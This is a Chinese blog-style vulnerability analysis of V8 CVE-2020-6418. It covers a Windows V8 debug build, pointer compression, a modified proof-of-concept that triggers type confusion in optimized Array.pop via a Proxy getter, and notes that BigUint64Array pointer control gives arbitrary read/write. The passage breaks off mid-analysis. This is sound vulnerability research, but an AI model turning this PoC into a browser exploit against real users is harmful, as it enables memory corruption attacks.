最近分析了一下今年二月份公布的V8
漏洞CVE-2020-6418,该漏洞属于JIT
优化过程中单个OpCode
的side effect
问题。虽然之前分析过两个V8
的漏洞,但都没有涉及优化,所以对这一块还是空白,如果有出错的地方欢迎师傅们指出。
之前都是照着V8环境搭建,100%成功版在虚拟机上搭V8
,gdb
实在是用的不习惯,所以就想着能不能在windows
上边搞,尝试了一下发现其实成本也不高,有些地方反而比linux
要方便,所需工具如下:
代理工具: 酸酸乳 4.9.2 Git: 2.22.0.windows.1 Curl: curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL os: Microsoft Windows 10 专业版 10.0.19041
首先开启全局模式,然后打开选项设置->本地代理,进行如下配置:
因为要从git
拉代码,所以我们需要给他配置一下代理,这样就能通过我们的代理来下载。
git config --global https.proxy socks5://127.0.0.1:1080 git config --global http.proxy socks5://127.0.0.1:1080 git config --global git.proxy socks5://127.0.0.1:1080
配置的时候还会用到curl
,也需要通过代理来下载。
# 搭建的时候可能会失败,每次都要输命令太烦了,所以最好还是配置一下环境变量比较方便 set HTTP_PROXY=socks5://127.0.0.1:1080 set HTTPS_PROXY=socks5://127.0.0.1:1080
在命令行测试一下效果
depot_tools
是谷歌官方提供的代码管理工具集,我们需要先去github
下载。
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
将depot_tools
加入到PATH
环境变量中,我们之后需要多次调用其中的工具。因为后续我们使用一些工具的时候,depot_tools
会自动下载导致失败,所以置零之后就会使用本地的工具链,具体操作如下:
// 同理,最好添加到环境变量 set DEPOT_TOOLS_WIN_TOOLCHAIN=0 set GYP_MSVS_VERSION=2019
另外,如果出现了如下内容
v8/buildtools/win/clang-format.exe.sha1' in 'D:\0x2l_v8'
NOTICE: You have PROXY values set in your environment, but gsutilin depot_tools does not (yet) obey them.
Also, --no_auth prevents the normal BOTO_CONFIG environmentvariable from being used.
To use a proxy in this situation, please supply those settingsin a .boto file pointed to by the NO_AUTH_BOTO_CONFIG environmentvariable.
那你需要执行如下命令:
echo [Boto] > D:\0x2l_v8\proxy.boto echo proxy=127.0.0.1 >> D:\0x2l_v8\proxy.boto echo proxy_port=10802 >> D:\0x2l_v8\proxy.boto # 下面的也可以弄环境变量 set NO_AUTH_BOTO_CONFIG=D:\0x2l_v8\proxy.boto
接着开始下载V8
的代码以及生成项目文件。需要注意的是,fetch v8
刚开始的时候会有很长一段时间卡住不动,不要担心,他只是没有输出而已,只要没有报错,那就是在正常运行,耐心等待就好了。
# 下载v8的repo fetch v8 cd v8 # 如果是要调洞的话,就要在这里切到有漏洞的那个commit # git reset --hard [commit hash with vulnerability] git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07 gclient sync
如果这几条命令没出毛病的话,那你基本就成功了,不过感觉搭建V8环境的问题基本都是出在这一步的,全部执行完之后可以再gclient sync
一下,没问题就继续。
之后用ninja直接编译
# 提供默认的gn参数给args.gn文件,帮助我们编译出debug版本和release版本 python tools\dev\v8gen.py x64.release python tools\dev\v8gen.py x64.debug # 自动编译 python tools\dev\gm.py x64.debug d8 python tools\dev\gm.py x64.release d8
我的电脑8G
内存,跑了大概十分钟左右,成功编译。
之前分析的V8
版本都比较老,所以Smi
和Object
的内存布局是这样:
Smi 64bit
+----------------------+----------------+---+
| | | |
| Signed value(32bit) | Padding(31bit) | 0 |
| | | |
+----------------------+----------------+---+
Object 64bit
+---------------------------------------+---+
| | |
| Pointer(63bit) | 1 |
| | |
+---------------------------------------+---+
新版本的V8
采用了指针压缩技术来提高性能,非常非常简单地来说就是申请出4GB
的空间作为堆空间分配对象,并且将原本的64bit
指针缩减为32bit来表示:
Smi 32bit
+---------------------+---+
| | |
| Signed value(31bit) | 0 |
| | |
+---------------------+---+
Object 32bit
+-----------------+---+ +---------------------+
| | | | |
| offset (31bit) | 1 +<---------+ base(r13) |
| | | | |
+-----------------+---+ +---------------------+
Smi比较简单,直接用32位指针储存就好,保留最后一bit
为pointer tag
。Object
被分为两部分表示,32位指针中除了pointer tag
之外还保存了低32位地址,高32位则被保存在r13
寄存器中作为base
,当需要取值的时候,就使用base+offset
来表示Object
。下面稍微熟悉一下压缩后的数据表示:
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();
打印结果如下:
DebugPrint: 0000037108086E39: [JSArray]
- map: 0x0371082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x037108208dcd <JSArray[0]>
- elements: 0x0371082109d1 <FixedArray[5]> [PACKED_SMI_ELEMENTS (COW)]
- length: 5
- properties: 0x0371080406e9 <FixedArray[0]> {
#length: 0x037108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0371082109d1 <FixedArray[5]> {
0: 0
1: 1
2: 2
3: 3
4: 4
}
查看内存
0:000> dd 0000037108086E39-1
00000371`08086e38 082417f1 080406e9 082109d1 0000000a // map properties elements length
0:000> r r13
r13=0000037100000000
注意,这里r13+offset
就是Object
的地址。接着看Smi
0:000> dd 00000371082109d1-1
00000371`082109d0 080404d9 0000000a 00000000 00000002 // map length 0 1
00000371`082109e0 00000004 00000006 00000008 // 2 3 4
内存中参数的值正是value<<1
的大小。更详细的内容请看Pointer Compression in V8。
在之前调试的时候,读取8
字节的内存都是通过Float64Array
来实现的,但是因为float
是用小数编码保存的,操作的时候还需要在Float64
和Uint64
之间转换。幸好新版本可以用BigUint64Array
对象来操作了,稍微写个小例子试验一下:
var biguint64 = new BigUint64Array(2); biguint64[0] = 0xc00cn; %DebugPrint(biguint64); %SystemBreak();
查看在内存中的布局:
DebugPrint: 0000021C08085F65: [JSTypedArray] - map: 0x021c08240671 <Map(BIGUINT64ELEMENTS)> [FastProperties] - prototype: 0x021c08202a19 <Object map = 0000021C08240699> - elements: 0x021c08085f4d <ByteArray[16]> [BIGUINT64ELEMENTS] - embedder fields: 2 - buffer: 0x021c08085f1d <ArrayBuffer map = 0000021C08241189> - byte_offset: 0 - byte_length: 16 - length: 2 - data_ptr: 0000021C08085F54 - base_pointer: 0000000008085F4D - external_pointer: 0000021C00000007 - properties: 0x021c080406e9 <FixedArray[0]> {} - elements: 0x021c08085f4d <ByteArray[16]> { 0: 42 1: 0 } - embedder fields = { 0, aligned pointer: 0000000000000000 0, aligned pointer: 0000000000000000 } 0:000> dd 0000037308085FB5-1 00000373`08085fb4 08240671 080406e9 08085f9d 08085f6d // map properties elements buffer 0:000> dp 0000037308085FB5-1+10 00000373`08085fc4 00000000`00000000 00000000`00000010 // byte_offset byte_length 00000373`08085fd4 00000000`00000002 00000373`00000007 // length external_pointer 00000373`08085fe4 00000000`08085f9d // base_pointer 0:000> ?00000373`00000007+00000000`08085f9d Evaluate expression: 3792590888868 = 00000373`08085fa4 // data_ptr=external_pointer+base_pointer 0:000> dp 00000373`08085fa4 00000373`08085fa4 deaddead`deaddead c00cc00c`c00cc00c // biguint64[0] biguint64[1]
data_ptr
指向我们的目标内存,且没有直接用64
位数字来表示。它的值由external_pointer+base_pointer
获得,分别表示data_ptr
的高32
位地址和低32
位地址。回想一下指针压缩中的4GB
内存空间,我们可以得出以下结论:
base_pointer
,相当于实现了4GB堆地址空间的任意读写。external_pointer
的值,相当于得到base
的值(保存在r13
寄存器)。external_pointer&&base_pointer
都被我们控制,我们就实现了任意地址读写。TurboFan
东西比较多,我稍微提一下和本漏洞相关的内容,更详细的东西请看我写出来的链接。下图是TurboFan
的优化过程
Inlining
的目的是将目标函数内联到当前函数之中,不仅节省了函数调用的额外开销,还更方便后续的其他优化(冗余缩减,逃逸分析等等)。具体的实现分为两种:
General Inlining
。一般用来处理用户代码的内联,在JSInliner
针对 JSCallFunction
和 JSCallConstruct
进行处理,用 BytecodeGraphBuilder
根据 Interpreter
生成的 Bytecode
为 callee
直接生成一个子图,最终将 Call
节点替换为该子图Builtin Inlining
。一般用来处理js
内置函数的内联。TurboFan
将会在两个地方进行 Builtin
的内联,JSBuiltinReducer
处理的 Inline
必须在 Type Pass
后面,也就是需要采集 Type Information
;JSCallReducer
处理的则稍早,处理一些类型严格的 Builtin
比如 Array.prototype.map
。JSCallReducer
JSBuiltinReducer
更详细的内容请看:An overview of the TurboFan compiler,A Tale Of TurboFan,TurboFan Inlining。
首先查看回归测试,我们可以得到以下信息:
[turbofan] Fix bug in receiver maps inference JSCreate can have side effects (by looking up the prototype on an object), so once we walk past that the analysis result must be marked as "unreliable".
漏洞的成因在于turbofan
认为JSCreate
结点不会存在side effects
,因此并未将其标记为unreliable
。但我们尚不清楚这个漏洞会造成什么危害,接着看一下我修改后的的poc
:
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4]; // 创建时的类型是PACKED_SMI_ELEMENTS
function empty() {}
function f(p) {
// Reflect.construct可以生成JSCreate结点
// 作为pop函数的参数可以将JSCreate结点加入到effech chain之中,原因之后会说
return a.pop(Reflect.construct(empty, arguments, p));
}
// new Proxy(target, handler)设置回调函数
// handler.get()用于拦截对象的读取属性操作
let p = new Proxy(Object, {
get: () => {
%DebugPrint(a);
%SystemBreak();
a[0] = 1.1; // 修改之后的类型是PACKED_DOUBLE_ELEMENTS
%DebugPrint(a);
%SystemBreak();
return Object.prototype;
}
});
function main(p) {
return f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty); // a = [0, 1, 2, 3]
main(empty); // a = [0, 1, 2]
%OptimizeFunctionOnNextCall(main);
// 当f()的第三个参数为p时,会调用p.prototype来创建新的对象
// 访问属性的时候自然会被handler.get()拦截,也就会跳转到我们设置的get函数
main(p);
第一眼看到的内容如下:
poc
首先设置了属性读取操作的处理器,并在其中定义了会修改了a
数组类型的操作。
接着通过Reflect.construct(empty, arguments, p)
来触发处理器,属性读取之余修改了数组类型,看一下修改前后的内存布局:
DebugPrint: 0000002108085EFD: [JSArray]
- map: 0x0021082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x002108208dcd <JSArray[0]>
- elements: 0x00210808608d <FixedArray[5]> [PACKED_SMI_ELEMENTS]
- length: 3
- properties: 0x0021080406e9 <FixedArray[0]> {
#length: 0x002108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x00210808608d <FixedArray[5]> {
0: 0
1: 1
2: 2
3-4: 0x002108040385 <the_hole>
}
// 修改前
0:000> dd 0x00210808608d-1
00000021`0808608c 080404b1 0000000a 00000000 00000002 // map length 0 1
00000021`0808609c 00000004 // 2
DebugPrint: 0000002108085EFD: [JSArray]
- map: 0x002108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x002108208dcd <JSArray[0]>
- elements: 0x002108086149 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0021080406e9 <FixedArray[0]> {
#length: 0x002108180165 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x002108086149 <FixedDoubleArray[5]> {
0: 1.1
1: 1
2: 2
3-4: <the_hole>
}
// 修改后
0:000> dd 0000002108086149-1
00000021`08086148 08040a3d 0000000a // map length
0:000> dq 0000002108086149-1+8
00000021`08086150 3ff19999`9999999a 3ff00000`00000000 // 1.1 1
00000021`08086160 40000000`00000000 // 2
3. a.pop
触发漏洞。
0:000> g
Breakpoint 1 hit
00000021`000c2c3d 418b448807 mov eax,dword ptr [r8+rcx*4+7] ds:00000021`080861bc=00000000
0:000> r
rax=0000002108085efd rbx=00000148ef6e7080 rcx=0000000000000002
rdx=0000002108086150 rsi=0000000000000000 rdi=0000002108085efd
rip=00000021000c2c3d rsp=0000003cb4dfeaa0 rbp=0000003cb4dfeac0
r8=00000021080861ad r9=0000000000000004 r10=0000002108086150
r11=0000002108085efd r12=00000021080861ad r13=0000002100000000
r14=00000021080861ac r15=00000021080861c8
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
00000021`000c2c3d 418b448807 mov eax,dword ptr [r8+rcx*4+7] ds:00000021`080861bc=00000000
0:000> dd 0000002108085EFD-1
00000021`08085efc 08241891 080406e9 080861ad 00000004
0:000> dd 00000021080861ad-1
00000021`080861ac 08040a3d 0000000a 9999999a 3ff19999
00000021`080861bc 00000000 3ff00000 00000000 00000000
dword ptr
说明了pop
函数仍然把数组当作是PACKED_SMI_ELEMENTS
,殊不知数组的类型已经改变,本来存放00000004
的内存处已经变成了3ff0000000000000
的低八字节。
结合commit
中给出的信息,推测是在优化后的a.pop
函数调用的时候,忽略了JSCreate
的side-effect
,并没有对a
数组的类型进行检查,从而造成了类型混淆。
patch
位于InferReceiverMapsUnsafe
函数中,该函数会遍历effect chain
来检查opcode
是否拥有side-effect
,返回值有以下三个
// Walks up the {effect} chain to find a witness that provides map // information about the {receiver}. Can look through potentially // side effecting nodes. enum InferReceiverMapsResult { kNoReceiverMaps, // No receiver maps inferred. kReliableReceiverMaps, // Receiver maps can be trusted. kUnreliableReceiverMaps // Receiver maps might have changed (side-effect). };
因为问题发生在JSCreate
中,所以着重看一下这一块的实现就好
// 完整文件位于src\compiler\node-properties.cc NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet<Map>* maps_return) { InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect->opcode()) { case IrOpcode::kJSCreate: { // patch后将结果标记为kUnreliableReceiverMaps // result = kUnreliableReceiverMaps; break; } } } }
patch
之前,函数对于JSCreate
返回kReliableReceiverMaps
,即认为JSCreate
结点的类型不会被改变。我们对这个地方下断点看一下
0:000> bl 0 e Disable Clear 00007ff6`93479f04 [D:\0x2l_v8\v8\src\compiler\node-properties.cc @ 380] 0001 (0001) 0:**** d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4 0:000> g Breakpoint 0 hit d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4: 00007ff6`93479f04 4889f1 mov rcx,rsi 0:000> k # Child-SP RetAddr Call Site 00 00000067`5a9fda70 00007ff6`93472634 d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4 [D:\0x2l_v8\v8\src\compiler\node-properties.cc @ 380] 01 00000067`5a9fdb50 00007ff6`933a844f d8!v8::internal::compiler::MapInference::MapInference+0x54 [D:\0x2l_v8\v8\src\compiler\map-inference.cc @ 21] 02 00000067`5a9fdbe0 00007ff6`933a55a4 d8!v8::internal::compiler::JSCallReducer::ReduceArrayPrototypePop+0xff [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 4925] 03 00000067`5a9fde10 00007ff6`9339c14e d8!v8::internal::compiler::JSCallReducer::ReduceJSCall+0x1e4 [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 3989] 04 00000067`5a9fdec0 00007ff6`9339adf3 d8!v8::internal::compiler::JSCallReducer::ReduceJSCall+0x1de [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 3783] 05 00000067`5a9fdff0 00007ff6`933858f4 d8!v8::internal::compiler::JSCallReducer::Reduce+0x53 [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 2210] 06 00000067`5a9fe080 00007ff6`93385347 d8!v8::internal::compiler::GraphReducer::Reduce+0x94 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 90] 07 00000067`5a9fe1e0 00007ff6`93385038 d8!v8::internal::compiler::GraphReducer::ReduceTop+0x167 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 159] 08 00000067`5a9fe260 00007ff6`93493bf1 d8!v8::internal::compiler::GraphReducer::ReduceNode+0xc8 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 56] 09 00000067`5a9fe2c0 00007ff6`93487c85 d8!v8::internal::compiler::InliningPhase::Run+0x541 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1412] 0a 00000067`5a9fe680 00007ff6`934839c2 d8!v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::InliningPhase>+0xf5 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1322] 0b 00000067`5a9fe720 00007ff6`934833bc d8!v8::internal::compiler::PipelineImpl::CreateGraph+0x82 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 2393] 0c 00000067`5a9fe780 00007ff6`92c4e775 d8!v8::internal::compiler::PipelineCompilationJob::PrepareJobImpl+0x1bc [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1124] 0d 00000067`5a9fe7d0 00007ff6`92c5236f d8!v8::internal::OptimizedCompilationJob::PrepareJob+0x265 [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 221] 0e (Inline Function) --------`-------- d8!v8::internal::`anonymous namespace'::GetOptimizedCodeNow+0x20f [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 750] 0f 00000067`5a9fe940 00007ff6`92c52ea9 d8!v8::internal::`anonymous namespace'::GetOptimizedCode+0xbdf [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 911] 10 00000067`5a9febc0 00007ff6`9300fa5f d8!v8::internal::Compiler::CompileOptimized+0xa9 [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 1493] 11 (Inline Function) --------`-------- d8!v8::internal::__RT_impl_Runtime_CompileOptimized_NotConcurrent+0x71 [D:\0x2l_v8\v8\src\runtime\runtime-compiler.cc @ 90] 12 00000067`5a9fec20 00007ff6`935b4e1c d8!v8::internal::Runtime_CompileOptimized_NotConcurrent+0x9f [D:\0x2l_v8\v8\src\runtime\runtime-compiler.cc @ 82] 13 00000067`5a9fec90 00007ff6`935483ed d8!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x3c 14 00000067`5a9fece0 00007ff6`93548291 d8!Builtins_InterpreterEntryTrampoline+0x22d 15 00000067`5a9fed10 00007ff6`93545d1e d8!Builtins_InterpreterEntryTrampoline+0xd1 16 00000067`5a9fed70 00007ff6`9354590c d8!Builtins_JSEntryTrampoline+0x5e 17 00000067`5a9fed98 00007ff6`92cc4196 d8!Builtins_JSEntry+0xcc 18 (Inline Function) --------`-------- d8!v8::internal::GeneratedCode<unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long long,long long,unsigned long long **>::Call+0x18 [D:\0x2l_v8\v8\src\execution\simulator.h @ 142] 19 00000067`5a9feeb0 00007ff6`92cc33e5 d8!v8::internal::`anonymous namespace'::Invoke+0xd86 [D:\0x2l_v8\v8\src\execution\execution.cc @ 367] 1a 00000067`5a9ff090 00007ff6`92b952af d8!v8::internal::Execution::Call+0x125 [D:\0x2l_v8\v8\src\execution\execution.cc @ 461] 1b 00000067`5a9ff140 00007ff6`92b762ae d8!v8::Script::Run+0x2af [D:\0x2l_v8\v8\src\api\api.cc @ 2186] 1c 00000067`5a9ff2d0 00007ff6`92b8148b d8!v8::Shell::ExecuteString+0x73e [D:\0x2l_v8\v8\src\d8\d8.cc @ 626] 1d 00000067`5a9ff580 00007ff6`92b83a35 d8!v8::SourceGroup::Execute+0x27b [D:\0x2l_v8\v8\src\d8\d8.cc @ 2708] 1e 00000067`5a9ff640 00007ff6`92b85779 d8!v8::Shell::RunMain+0x245 [D:\0x2l_v8\v8\src\d8\d8.cc @ 3192] 1f 00000067`5a9ff770 00007ff6`937a9ef8 d8!v8::Shell::Main+0x1309 [D:\0x2l_v8\v8\src\d8\d8.cc @ 3820] 20 (Inline Function) --------`-------- d8!invoke_main+0x22 [d:\agent\_work\63\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 21 00000067`5a9ffcb0 00007fff`9aa27034 d8!__scrt_common_main_seh+0x10c [d:\agent\_work\63\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 22 00000067`5a9ffcf0 00007fff`9bb1d0d1 KERNEL32!BaseThreadInitThunk+0x14 23 00000067`5a9ffd20 00000000`00000000 ntdll!RtlUserThreadStart+0x21
根据堆栈可知,上层函数是MapInference
类的构造函数,返回之后看一下具体实现
// 完整代码见src\compiler\map-inference.cc MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect) : broker_(broker), object_(object) {